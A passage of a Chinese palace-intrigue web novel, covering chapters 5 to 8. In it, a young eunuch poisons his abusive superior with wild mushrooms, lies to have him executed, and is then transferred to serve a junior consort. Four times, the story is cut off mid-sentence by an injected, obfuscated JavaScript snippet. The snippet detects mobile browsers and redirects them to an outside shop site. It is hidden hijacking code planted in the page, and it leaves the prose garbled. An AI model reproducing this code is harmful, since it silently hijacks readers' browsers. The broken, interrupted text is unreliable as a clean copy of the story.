大家闷头做事,都看得出彭公公心情不佳,一句多余的话都不敢说,以免平白惹了彭公公不痛快。 宫中的晚膳时间是未时正刻,听容带着酒提前三刻出发,免得去晚了被挑剔。他与严昱祉有过两面之缘,没有对话,时间之短也不足以让他对此人有任何了解,这个时候不出错就是最保险的。 大半天的阳光已经将甬道的雨水晒干了九成,听容走在路上,偌大的皇宫安静肃穆,宫女太监低头走路,即便在无人的地方,规矩依旧是压在宫人头上最大的约束。 直到听容走进皇子所,听到里面说笑着热闹,才意识到安静这门规矩是给他们这些下人准备的,主子不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140922|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。 “御酿局来的?”守门的侍卫看到他腰间的牌子,并未为难,只是例行确认。 “是。奉恭贵妃娘娘之命,给严公子送晚膳喝的酒。”听容如实说。 “严公子住致书堂,你直接送进去吧。” 来到致书堂门口,就见一个穿窄袖圆领袍衫的少年正坐在外面的廊上剥核桃,边剥边往嘴里塞。门口站了个小太监,和少年比起来,小太监就老实多了。 听容说明了来意,原以为少年接了酒他就可以回去了,结果就听那少年道:“那你在这儿稍后,等晚饭送来了,你再把酒送进去吧。” 年少看着肯定不是宫里人,没让他放下酒就走,也说得过去。 屋内聊得热闹,但聊了什么听容听不清,只有笑声传出来足够清晰。 有个不用干活的地方,听容也沉下心来,继续盘算自己的下一步计划。今天他运气不错,没被刁难,可不表示以后每天都能顺利,还是要尽快下手。 “吃核桃吗?”少年单手托起一把核桃仁问听容。 这样放在以前再正常不过的举动,却让听容恍了神,从进了宫,这样的随性就离他远去了,这样随性任意的人他也没再见过了。 “不了,谢谢。”听容轻声拒绝。 少年也不失望,可能是自己吃够了,也可能是马上就吃晚饭了,他把核桃仁用纸包好,装进了随身的小包里。随后又看了看听容,看不出情绪。 没等多久,尚膳房送晚膳的队伍就鱼贯而入。 小太监对要送往隔壁的队伍道:“四皇子今日在致书堂用晚膳,一并送过来吧。” 晚膳摆好,听容才进去送酒。 “葡萄酒?”严昱祉没来到膳桌前,而是坐在一边的椅子上,双腿岔开,像山大王坐在虎皮椅上。 “是。”听容应后,就准备行礼出去了。 严昱祉对四皇子赵恒植道:“姑母说是贡品,我没喝过,四皇子今日陪我长长见识吧。” 赵恒植跃跃欲试:“不瞒你说,我也没喝过。” 去年四皇子还没满十七,等他能喝酒了,进贡的葡萄酒早就喝完了。他的母妃当时并没分到葡萄酒,自然不可能特地留给他。 严昱祉抬眼看向听容,从听容进门,他的表情就没有半点意外:“你留下来伺候酒吧。” 听容眨了眨眼睛,想说自己只是御酿局的奴才,没资格伺候酒水。 不过赵恒植先一步开口,打断了他欲要说出口的话,心直口快地说:“御酿局出息了,这样好看的人居然被他们要去了。” “好看的人斟酒才更有滋味。”说着,严昱祉就邀请赵恒植入座。 “原来你喜欢好看的。” “军营里都是五大三粗的,难得看到着精致的,还是宫里养人。” 赵恒植立刻道:“这是宫里,你说话可得注意些。万一被人听去,说你不端正,容易惹麻烦。” 严昱祉不甚在一意地笑:“多谢四皇子提醒,我在边地散漫惯了,的确一时半会儿改不了。” “无妨,在咱们皇子所,还没那么多规矩。” 听容见没人想抢他的活儿,两个人也不用别人布菜,聊得热络,无奈之下只好开了坛子给两人倒上,想着晚点回去也好,动手更方便。 5. 第5章 伺候酒水的活不难,严昱祉没为难他,只是眼睛不时从他身上扫过,就算听容不抬头,也能感觉到。期间大皇子过来小坐了片刻,喝了杯葡萄酒,说了些让严昱祉安心在这里住的话,就离开了。 等一小坛葡萄酒喝完,严昱祉就让听容下去了。 出了致书堂的门,听容才稍稍松了口气。明明没有任何需要紧张的事,可他就是觉得很累。 刚要下台阶,就见刚才剥核桃的少年站在连廊转角向他招手。 听容左右看了看,确定是在叫他,才走了过去。 “给你留了饭,你吃了再回去。”少年指了指后头的值房,让他去吃饭。 “多谢你,但不必麻烦了,御酿局应该给我留饭了。”以小青子的细心,应该会给他留饭。 “等你回去饭都冷了,还是在这儿吃吧。”说着,少年就推着他往值房走。 别看少年个子不高,可手劲儿是真大。晚风吹过,凉意不留情面地吹透了听容的衣服,一顿热乎饭立刻成了当下不二之选。 不知道是皇子所待遇好,还是严昱祉对自己人照顾,下人的饭菜特别好,肉很多,做法毫不含糊,可以说色香味都有了。 不到一盏茶的工夫,听容就放下了筷子:“我吃好了,谢谢。” “吃这么少?”少年疑惑地看他,“这又没有别人,你不用拘谨,吃饱再走。” “我吃饱了。”听容真的很饱,而且是吃了肉的饱。 少年又看了他一会儿,确定他不像说谎的样子,才说:“难怪你这么瘦,吃得太少了,这样哪有力气干活?” 他的语气太自然,没有半分做作或者没话找话的意思,让听容心下松快:“回去洗漱一下就睡了,再吃就积食了。” “哦。还没问你名字呢。我叫小禾,今年十六了。”小禾认认真真介绍着自己,有种没长大的单纯,似乎只是看听容顺眼,想交朋友,没有地位上的考量。 “我叫听容,十七。”听容这个名字他现在已经听习惯了,也自称习惯了,不大会想到本名。 小禾一笑:“下次你再来送酒的话,我再给你留饭。” 这样的善意让听容不禁生起了防备心,一个公子身边的侍从,如果没有所图,何必对他一个奴才抱以善意?可他从小禾的脸上又看不出什么,好像小禾本身就是个善良的人。 “小禾!”外面传来严昱祉的声音。 “来啦!”小禾应着就往外跑,还不忘回头对听容说了句“下次见”。 等听容离开时,就看到小禾和严昱祉站在致书堂门口,小禾手里多了一盘点心。听容记得这盘点心从送过来就被单独搁置在小桌上没人动,看来是一早就准备给小禾的。 听容想,原来不是每一个做下人的日子都过得惨,得看跟着什么样的主子。不过他想这些还为时过早,得先解决了彭公公他才能获得更多机会。 回到御酿局,今日没能酿酒,大家都比较轻松,彭公公已经喝上了,比平日早些。 “吃过饭了吗?”小青子问着,将篮子里的两坛葡萄酒放到酒库门前的桌上。 “吃过了。”听容答后,指了指两坛子酒问:“这要送吗?” “不用,晚点循才人宫里的太监会来取,估计得消夜时了。” 晚膳后到就寝前,如果主子饿了,还可加一顿消夜,也称酒膳。 没有旁的事,听容就准备回房等待休息了。 还没走出两步,就见彭公公端着酒杯出来了,看到听容,嘴角一挑,眼睛眯了起来:“听容回来了?过、过来给本公公倒酒。别以为给严公子送了趟酒就了不得了,宫里这、这么大,人这么多,不过是芳眉指了你去,你别真以为能得主子的眼。” 听容短暂获得的轻松立刻消失殆尽,即便他回来的路上心里多少有过犹豫,此时也不纠结了。 “青公公,您让人给彭公公煮碗醒酒汤吧,别耽误了彭公公明天的差事。”听容对小青子说。 小青子点点头,他知道听容不可能现在转头就跑,只能提醒他:“实在不行你就喊,我想办法找借口进去。” 听容不认为小青子能帮上他,可有这句话总比被冷眼旁观强。 进了彭公公的屋子,壶里的酒已经下了大半,菜倒是没怎么动。 听容软下态度,哄着彭公公继续吃喝。 见他态度有变,彭公公一下就开心了:“出去了一趟倒是懂事了,是不是发现主子不好伺候,还是留在御酿局最保险?” 他之前担心听容被人要走,现下看来,是他想多了。想来也是,严昱祉对外身份再好看,放在宫里也是不够看的,现在是被人捧着,日子长了还不知道什么样。姓严的但凡能看清局势,也不会跟他们这些“地头蛇”过不去。 “和别处比,御酿局的确好些。”听容又给彭公公满上一杯,忍着恶心说好话,“今天小的自己去尚膳房取东西,一路上总怕不小心犯了规矩。公公在宫里多年,不知愿不愿意跟小的说说宫里的事,也好让小的长长见识,以后出去办差能够心中有数。” “嘿嘿,既然你这么乖,那本公公就跟你说一说……” 在村里的时候,像彭公公这个年纪的人,如果小辈愿意听他们讲讲自己年轻时的往事,无论是真实的还是吹牛,他们都很乐意讲。而对那些喝了酒就不着四六的人,轻声细语地哄着他们回家,别在外面讨人嫌,往往比呵斥更有用。 为了自己的计划,听容这两个办法都用上了,没想到还真管用。彭公公平时每天只喝一壶,今天被哄得硬是喝了两壶,而且越说越兴奋,只是话已经没有逻辑了。 “公公稍坐,小的给您端醒酒汤去。”见时辰差不多了,听容找了个借口离开。 “别走啊,再给我倒上,我跟你说,我年轻的时候……” 听容来到小厨房,小炉上果然热着醒酒汤,但并没有旁人在。 听容倒了一碗,随后将藏在身上已经掰碎的毒蘑菇放进汤里,并用勺子搅了几下,端了出去。 乡下人会识蘑菇是必备的技能之一,每年春秋都会上山去采,哪怕采不多也是一顿口粮。知道无毒的,肯定也知道有毒的。今早听洒扫的太监说完下雨宫花园不好扫时,他就想到了这个时节雨后会有蘑菇的情况。宫花园那么大,总有机会找到蘑菇。 他运气不错,宫花园的确有,而且还不少。而他拔走的这朵他认识,之前村里有个婶子跟他一起上山,就采了一朵这种蘑菇。他当时还提醒过婶子这种蘑菇他不认识,可能有毒。婶子说好看的才有毒,这蘑菇灰扑扑的肯定没事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140923|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果当晚就眼见幻像,冲出家门满村乱跑。 听容想着如果彭公公犯的事只是上头的太监处置,以宫中的关系网,估计会大事化小,达不到他的目的。所以他想用这个蘑菇,让彭公公在各宫宫门落锁后跑出去冲撞门禁,这样彭公公就归禁军处处置,不会留情面。 回到彭公公房间,哄着迷糊的彭公公把醒酒汤喝了,估摸着离彭公公发狂还得至少半个时辰,听容借机把尾收干净,这个时间没人干活,值夜的还没上夜,一切都很顺利。 洗了碗出来,听容盘算着可能有的疏漏,一位掌事宫女就带着一个小宫女走了进来。 外面没别人,听容只好迎过去:“给姐姐问安。” 掌事宫女二十出头,笑盈盈地说:“我是循才人宫里的,来取葡萄酒。” “都给您备好了,小的这就叫青公公来登记。”像这种御赐的且有定数的东西,各宫来取时是要记档签字的,否则短了谁的说不清楚,容易引火上身。 掌事宫女懂这些规矩,就在院中等着,并不着急。 “青公公,循才人宫里的掌事宫女来了。”听容推开房门道。 小青子放下茶杯,拿起记档本:“不是说差太监来取吗?怎么掌事宫女来了?” “我也不……” “啊————” 前头院里传来的尖叫声吓了两个人一跳,听容惊觉不好,赶紧往前跑。 “哈哈哈,美人,你从了本公公,本公公让你吃香喝辣。” “彭公公,你干什么,快放开,放开!” “小贱人,少管嫌事!信不信本公公杀了你!”说着,彭公公就扇了小宫女一巴掌。 小宫女顾不得疼,还是拉扯着彭公公,让他放开被抱住的掌事宫女。 掌事宫女一边挣扎喊人,一边呵斥彭公公,让他松手。 彭公公不但没松手,还要去撕扯掌事宫女的衣服。听容跑回来看到的就是这一幕。 女子的清白当前,听容完全没有多想,立刻冲过去拉住彭公公,试图让他松手。结果彭公公一脚踢到了听容膝盖上,听容吃痛,单膝跪地,但还是用力拉扯着彭公公。 小青子也赶过来了,见状赶忙过来帮忙,而同他一起跑来的小太监们迫于彭公公平日的淫威,反而僵在那里不敢动手了。 小青子也不知道彭公公怎么力气那么大,他和听容两个人才勉强把彭公公拉开,但彭公公一把甩开了听容的手,又撞向小青子,小青子没控制住人,彭公公再次扑上去抱住了掌事宫女。 小青子冲呆站在那里的小太监们喊:“别愣着,快来帮忙啊!” 小太监们你看看我,我看看你,依旧畏缩。 这时巡守的侍卫正好走到御酿局,闻声冲了进来。 “什么事?” “怎么回事?” 小宫女像见到了救星,哭道:“侍卫大哥,这太监疯了,快把他押住,我们要请皇上做主!” 听容膝盖疼,胳膊也疼,但脑子却十分冷静,他应该是估计错了蘑菇起效的时间,之前婶子吃的是煮熟的,可能起效慢,而他给彭公公喂的是生的。 不管怎么样,事以至此,就算没按他想的方式拿下彭公公,也不妨碍他借机再推彭公公一把,反正结果一致就行。 6. 第6章 出了这样的事,本应由皇后娘娘处理。但皇上今晚在循才人宫里,掌事宫女来取酒,也是皇上和循才人要用,自然就交由皇上处置了。 彭公公已经被压走了,听容趁着人还没来,局里正乱着的时候,悄悄顺了放在库门口的葡萄酒,摆到了彭公公桌上。随后若无其事地跟小太监们站在了一起。 小太监们个个噤若寒蝉,先前他们不赶上前帮忙,现在彭公公被带走,他们又怕自己被连累受责罚。 不到两刻,皇上身边的大内总管太监应顺公公就带着人来了。 如果说之前见到的廉公公像鹰一样,那这位应顺公公更像农家养的大橘猫,胖乎乎的憨态可掬,只不过这会儿脸上没有丝毫笑意。 跟着一起来的还有被彭公公抱住的那位掌事宫女。 “芷月姑娘已经将事情禀明皇上,现在你们给我说说,彭公公到底怎么回事?”应顺来回踱步,拂尘搭在臂弯里。 “回顺公公,我们都不在院里,是听容伺候的彭公公。”立刻有想撇清关系的小太监抢着回答。 随后又有几人应和。 应顺扫了一眼众人:“谁是听容啊?” 听容没想骂那几个急于撇清的,在这个宫里没人想摊上事。 于是他上前一步:“小的听容,见过应公公。” 芷月也跟着上前一步,说:“应公公,正是这位小公公最先跑过来帮忙的,还有那位公公。”说着,她又指了指小青子。 应顺点点头,态度未变:“你说说吧,怎么回事?” 听容:“今日御酿局没有什么活,彭公公的酒就喝得比平日早一些。小的见彭公公喝得有些醉了,就给他端了醒酒汤,他喝完后小的去洗碗出来,芷月姐姐就到了。小的去找记档的青公公,就听到前院喊了起来。” 他的话点到这儿就足够了,说多了反而容易让人认为他对彭公公多有不满,在这儿添油加醋。 应顺皱眉:“什么叫‘喝得比平日早些’,他天天如此?” 应顺知道手头有些权的太监都有自己的靠山或帮衬,只要不出事,他不大会管。他自己也是太监,知道宫中不易,大家也不过是想好好活着,以后无儿无女的,离宫了能相互有个照应。可事情闹起来就是两码事了,如果不处理妥当,就是他这个大内总管担责了。 “小的不清楚,小的刚来三天,至少这三天彭公公是天天醉酒的。”听容实活实说,没给彭公公扣帽子。 “目无宫规!”应顺脸色又难看了几分,吩咐跟来的小太监:“去彭公公屋里看看,他平时都吃喝些什么?!” 没一会儿,小太监们就直接把彭公公的桌子抬出来了。别人或许不清楚,可应顺一眼就看出彭公公用的酒具明显是僭越的,只这一点,别的就都不用提了。但他很快又注意到了葡萄酒的坛子。 “这是葡萄酒?”应顺一指,脸沉得更厉害了,“怎么会在他桌上?!” 平时太监们疏通关系,到御酿房弄些自酿的米酒或者外头采买的散酒自己喝或者往上孝敬,就算应顺知道也不会计较。但贡品可不一样! 听容道:“循才人那边要葡萄酒,御酿局就给备了两坛等人来取。彭公公喝完了酒壶里的,说不够味,要尝尝今日送来的贡品,小的不敢给他拿,他就自己转悠出来,正好看到库门口的两坛,就拿走了一坛。小的怕彭公公真把酒开了,所以赶紧给他端了醒酒汤。” 听容编着谎,当时院里没人,没人能证明彭公公没出来拿酒。再者,彭公公平时应该没少干僭越的事,局里的太监们心里有数,便不容易怀疑这番说辞。 “混账东西!”应顺怒道:“偷拿贡品,行事僭越,欺辱宫女,藐视宫规。去,回禀皇上,由皇上处置!” “是!”跟来的小太监立刻回去禀报。 应顺又看了看众人:“姓彭的日日醉酒,能管好御酿局的事?” 听容没给旁人机会,先一步答:“小的来这几日,见局中一直是由青公公管着的。” 小青子这才上前行礼,没抢功,只是说彭公公有了些年纪,所以事情都交给了下面人做。 可这些话听在比彭公公还大好几岁的应顺耳朵里,彭公公就更是尸位素餐了。随后彭公公又问了小青子的年纪,籍贯,进宫几年,以及都在哪些地方当过差。 小青子一一答了。得知他一直在御酿局当差,对局内的事再熟悉不过,表情再终于缓和了几分:“既如此,以你的资历,管事之职倒也当得。本公公会回了皇上,明儿你去司职处登记吧,以后御酿局的事就由你管了。” “小的多谢应公公!”小青子立刻跪下行大礼。 待应公公离开,其他小太监凑过来恭喜小青子。小青子倒是看了听容一眼,听容只是冲他笑了笑。 他帮小青子说了话,现在小青子借机升职了,就等于在这件事上,他把小青子绑到了自己这条船上。就算小青子事后复盘,觉察出有不妥的地方,也不会追究。 这一晚,听容睡得很踏实。 第二天晴空万里,风都比前几日暖和,枯枝都冒出了绿芽,喜鹊站在屋顶,欣赏着御酿局里的热闹。 小青子升为管事太监,依旧亲力亲为带着大伙一起酿酒,局里的气氛也松快了许多,至少每个人脸上都能见笑意了。 晚些时候,彭公公的处置下来了,皇上判了杖毙。听到这个消息,小青子在院子里站了许久,静静地看着天空,仿佛是在告慰逝去的好友。 听容的情绪没有太多波澜,彭公公一命抵两命,还是便宜他了。 晚上,泰宣帝翻了恭贵妃的牌子。 恭贵妃身子还未大好,不适合侍寝,但泰宣帝想见她,跟她说说话,就这么待在一起,也无不可。 泰宣帝拉着恭贵妃的手到榻前坐下,跟她说起了御酿局的事,又道:“不知是皇后年龄大了,管理宫中诸事力不从心,还是宫中包庇之事众多,不翻出大浪来察觉不到,居然让一个奴才胆大至此,实在是让朕忧心。” 即便卸去妆饰,恭贵妃依旧美貌,甚至比满头珠翠更添一份纯净的美。 “皇上多虑了,皇后娘娘管理后宫这些年一直是井井有条,无有不妥。那太监所为应该是他个人品性不佳,牵扯不到其他的。”恭贵妃劝着,无论这话她自己相信与否,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140924|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不可能在皇上面前说皇后的不是。 “希望如此。”泰宣帝叹了口气,认真地看起了恭贵妃的脸,“这些年你的容貌越发漂亮了,让朕想起了你刚进宫的时候,那般绝色,睥睨后宫。十数年过去,放眼后宫,依旧只有你能担得起‘绝色’二字。” 恭贵妃掩唇笑道:“臣妾都这般年纪了,哪比得上年华正茂的妹妹们?话说回来,这些年您心疼臣妾,待臣妾格外好,臣妾没什么可操心的,不用多思多虑,岁月自然不挂脸了。” 这些话有多少奉承,多少真心,只有恭贵妃心里清楚。 泰宣帝舒心地笑说:“你们严家人长得都好,且看昱祉就知道了。他若参加科举,朕指定给他个探花当。” “就他还科举?嫂嫂来信提到昱祉,总说他不学无术,好歹是把字认全了,别的家里都不强求了。”恭贵妃说。 “他年纪还轻,以后如何还未可知。”泰宣帝停顿片刻,又说,“不过朕听说昨日晚膳时,他留了个好看的小太监给他伺候酒。” 恭贵妃立刻起身,诚惶诚恐地行礼:“皇上恕罪,昱祉实在不懂规矩,是臣妾没有好好教导,让他肆意妄为。以后一定严加管教,绝不让他再生出这样的事来。” 泰宣帝立刻摆摆手,亲自将恭贵妃扶起来:“朕不过一说,没别的意思。他性子洒脱,想一出做一出。朕只担心没教好他,你哥哥更要操心了。” 恭贵妃重新坐回榻上:“宫里的师傅都是最好的,他要是学不出个样来,只能说他心性不稳,没这个造化。” 她得让皇上觉得严昱祉是个没有威胁,又难成器的,才能让他有机会平安回南疆去。 * 御酿局的日子过得顺遂,听容这几日心情都不错。蒸米酿酒的任务都完成了,之后就是过滤和封坛的活儿,局里可以歇一歇了。 小青子接管御酿局是应公公安排的,彭公公又是皇上判的,就算先前彭公公那一派的关系也不敢多说半个字,更不会过来为难,倒是想跟小青子攀好关系的人不少。 早饭后,听容跟其他小太监一起扫院子,还没扫一半,司职处就来人了。 “哪个是听容啊?”来人问道。 听容一愣,没有立刻反应。小青子作为掌事,先上前问:“何事?” 对着管事太监,来人很给面子:“循才人宫里缺个太监,已经回了皇后娘娘,指了听容过去伺候。” 听容怎么都没想到自己会被要走,不过也不是无迹可寻,毕竟他帮过芷月。去嫔妃宫里伺候肯定没有在御酿局轻松,不过待遇是更好的。 小青子也明白其中的利弊,若是其他局来调人,他作为管事太监,可以找理由把听容留下。但嫔妃宫里要人,他就管不了了。而对听容来说,这算是升职。 听容知道自己没得选,便上前一步行礼道:“奴才遵命。” 小青子对来人道:“不劳几位送他了,等他收拾好东西,我亲自送他过去。” 明显是升职的事,司职处不会为难,说了句让他们抓紧时间,就离开了。 听容和小青子互看了一眼,一时竟不知道该说什么。 7. 第7章 小青子趁着听容收拾包裹时,把自己对后宫妃嫔的了解都跟他说了。 小青子没在嫔妃宫中伺候过,知道的有限,只能提醒他当心,遇事要是无人商量,可以来找他。 正午十分,听容背上自己单薄的包裹,赶往长宁宫。 在路过春萱宫时,他想起自己第一次看到小太监被拖走处置,就是从春萱宫出来的,想来多半是在嫔妃宫中伺候的。如此看来,看似不错的活儿也有不易之处。 没敢多看,听容加快了脚步,随后在路过繁秀宫时,恰好遇到严昱祉从里面出来。 严昱祉不是皇子,也没有爵位,通常宫人见到他只要停下来待他先走就行,不必行礼。可听容是正面遇上了,对方又显然认出了他,于是他还是给严昱祉行礼问了安。 “你这是要去哪儿?”严昱祉跟他说话的语气倒是把他当熟人了。 “小的奉命,调去循才人那里伺候了。”跟严昱祉打马虎眼没意义,听容就如实说了。 严昱祉发出一声意味不明的轻笑:“御酿局的事我听说了,看来你这是升迁了,得恭喜你才是。” “谢公子。” 严昱祉看了看他,又道:“对了,先前让你给我伺候酒,理应打赏你,我倒把这事忘了。” 说着,严昱祉掏出几块碎银子递给他。 “公子严重了,小的实不敢受。”这种小事,他没理由收严昱祉的银子。再者,严昱祉身份特殊,他与严昱祉扯上关系不是明智之举。 严昱祉拉起他的手直接塞过去,力气之大让听容完全没有抽手的余地。而严昱祉干脆利落的动作也没有让听容感觉到任何不适,就只是打赏而已。 “去嫔妃宫里伺候,可能会有要使银子的地方。” 听容心里一动,似乎严昱祉硬要补给他的打赏实则是为他进循才人处伺候铺了几步平整的路。 没等他道谢,严昱祉就已经走远了。 听容看着手里的碎银子,对于现在身无分文的他来讲,这些碎银子比银元宝更实用。 “怎么来得这么晚?司职处不是早就去调派了吗?”听容一进门,芷月第一个看到他,并迎了过来。 “局中管事的公公提点了一些规矩,来得晚了些。”听容还不知道长宁宫具体是什么情况,答话颇为谨慎。 “也好,省得再教你了。”芷月笑得落落大方,“我先带你去下人房安置。主子在午睡,等醒了我再带你去请安。” “麻烦姐姐了。”听容应道。 安置期间,芷月把长宁宫的情况跟他细说了。长宁宫暂无主位娘娘,妃嫔仅有循才人一位,住在东侧殿。下面伺候的除了循才人带来的陪嫁采莺之外,就是被指来伺候的芷月和两个小宫女了。 “原本主子身边应该有两个太监伺候,结果一个手脚不干净,被赶走了;另一个前些天随主子去去庄贵妃宫里请安,不慎砸了娘娘最喜欢的花瓶,被打断了手丢去做苦役了。”芷月的语气低落下来,不过很快就打起了精神,“你来了是一个人顶两个人的活儿,不过这屋子就给你一人住了。” 听容听得一惊,芷月说的小太监应该就是他遇上的那个。 芷月继续说:“咱们宫里活儿不多,平日勤洒扫,管好库房就行了。” “明白了。”具体的就得边做边看了。 “芷月姐姐,我把苹果取回来了。”小宫女在门外喊道。 “你先收拾,主子醒了我叫你。”说完,芷月就出去了。 屋内安静下来,听容提着的心也稍稍平静了一些。下人房的采光都不好,但并没有怪味,听容就很满意了。屋子不算小,就他一个人住,倒是很方便。 边收拾东西,听容边想着被处置了的那个太监,先不说砸一个花瓶的严重程度到底如何,就现下的实际情况来看,循才人的位置还是太低了,连自己的下人都保不了,在这样的主子身边,内部可能没有问题,但对外处处都得当心。升了职,涨了月钱是应该高兴,可这多出来的钱也不是白拿的。 循才人醒后,芷月叫了听容去请安。 听容给循才人行了大礼,说了自己的名字、年纪,以及进宫时间。 “起来吧。”循才人说话温和,给人知书达理的感觉,像是书香门第家的小姐,“听芷月说,那日在御酿局,幸得你相助,才没出大事。我这里本不需要太多人伺候,但皇上说一个太监都没有,总归是不方便的。芷月就推荐了你。我用人只要忠心、勤快,若有不好,我绝不留。” 上来先敲打是每个主子都会做的事,为的是提醒下面的人不要偷懒,更不要吃里扒外。至于底细,肯定都是提前查过的。像听容这样刚进宫的,主子反而愿意用。 “是,奴才定当尽心伺候。”听容道。 “那就好。”循贵人满意地点点头,又仔细看了看听容,笑说,“芷月倒没跟我说你是这般好样貌,我行事向来信奉低调,带你出门可低调不起来了。” 采莺从旁道:“主子,奴婢也没见过这般好看的小太监。” 采莺作为陪嫁丫鬟,穿得比平常宫女要精致些。一对石榴耳环随着她转头轻轻晃动,鼻梁上的小痣不仅没影响容貌,还成了记忆点。 芷月也跟着笑起来:“奴婢只觉得他拎得清轻重,倒没太留意长相。” 循才人:“也好,长得好看让人看着舒心,气都能消大半。” 循才人和两位宫女的夸赞没有别的意味,听容听着也没觉得不舒服,反而觉得主仆三人聊起来气氛亲近,听着舒心。 “主子,您的坐胎药煎好了。”小宫女端着药进来。 芷月上前接了一把,帮着放到循才人手边的小桌上。 药晾得刚好入口,循才人端着碗兀自挣扎了半天,才一口气将药喝了个干净。 “主子,吃口苹果压压吧,这苹果是刚从果局拿回来的。”芷月插了一块去皮切好的,递给她。 循才人赶紧吃了,随后脸就皱到了一起:“太酸了。” 采莺赶紧拿来痰盂让循才人吐掉。 循才人吐完后用茶水压了压,表情才缓过来。 “奴婢这就去找果局,怎么拿这些酸的给咱们?”小宫女不高兴了,就算主子没说什么,可自己拿回来的东西不合主子口味,就是她办差不力了。 “果局应该不敢糊弄我,多半这批果子都这样。”循才人想得明白,她现在颇受宠爱,皇上不时会在她这儿用膳或留宿,宫里的人最会看恩宠的,不敢挑不好的给她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140925|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这坐胎药难喝得很,这些日子又没有甜味的果脯给您压药味,水果也不好,您喝这药真是遭罪了。”采莺心疼循才人。 “没办法,谁也不敢保证自己恩宠常在,趁我现在恩宠正盛,若能有个孩子,以后的日子就有盼头了。”循才人表情多了些分怅然。 “可没有可心的东西压一压,总影响您用膳的胃口。”采莺继续操心。 循才人笑说:“明天再去果局寻些其他的吧。” 听了半天的听容开口道:“主子是喜欢甜的?” 循才人点头。 听容浅笑道:“苹果都拿回来了,总不好一直放着。奴才会做果脯,若您不嫌弃,奴才就把那些苹果都给制成甜味的,也能您吃上几日。” 循才人一脸惊喜,露出活泼又灵动的神态:“太好了!宫里的娘娘们多喜欢酸甜,可对我来说太酸了,我总吃不惯。” “那奴才这就去制了。”听容很会做吃食,以前家里人多,他总吃不上好的,所以学会了把不好吃的制得好吃些,吃得下才能填饱肚子,也才能活下去。 刚到长宁宫就主动揽事做,并不符合听容的行事风格。可宫里人少,循才人让他来又是宫里需要,并不是循才人需要,他如果展现不出价值,容易被边缘化,难以获得信任,日子也不会好过。 再者,他现在已经在这儿了,想继续往上升,并顺利地活下去,最简单的办法就是循才人继续得上升。后妃晋升熬资历和获得皇上宠爱都是办法,可最快的还要属繁育子嗣。 别的听容不懂,也出不了主意。能做的只有让循才人每日顺利服坐胎药,早日有孕。 循才人不是主位,宫里的小厨房不能用,但份例的炭火是不缺的,除了取暖用的,还有用来煎药烹茶的。这些炭无烟少尘,用来烘果脯再好不过了。 次日午后,循才人再喝药时,旁边已经放着一份苹果果脯了,烘得还有些软度,吃着会顺口些。 一口气将药喝完,循才人赶紧拿了块果脯吃进嘴里,顿时浓重的苦味被甜覆盖,轻咬几下,唇齿间挤压出的果香就压住了药味:“味道真好,甜而不腻,还不粘牙。” “您喜欢就好。”得到了肯定,听容松了口气,“这次制了不少,够您吃几日了。” 循才人笑说:“看书时随手拈一个,肯定是很有滋味的。” “那晚些奴婢给您备上。”采莺见循才人舒坦了,心下高兴,“您不是说今日想去给恭贵妃娘娘请安吗?现在时辰正好呢。” 循才人点头起身:“恭贵妃身体不好,皇上免了她给皇后娘娘的晨昏定省,我作为宫里的新人,理应常去探望。” “主子的恭谨想来恭贵妃娘娘会明白的。”采莺取来斗篷给循才人穿上。 听容犹豫了片刻,开口道:“主子,恭贵妃娘娘身体不适,恐怕是汤药不离口。您要不要带些果脯去,就算贵妃娘娘那里不缺,也是您的一份心意。” “甚好,你去装一盒来。”循才人立刻采纳,她刚吃过,知道味道拿得出手,送一份过去肯定错不了。 “是。”听容应着就出去准备了。他并没有想讨好恭贵妃的意思,只是恭贵妃是严昱祉的姑母,他收了严昱祉的赏钱,且当是回报严昱祉的好心了。 8. 第8章 循才人不在宫里,也没有别的宫人往来,听容拿着扫把打扫院子。没人给他安排活儿,他总不能现在就回去休息了,左右还是找点事做,有点声响,宫殿才不会显得冷清。 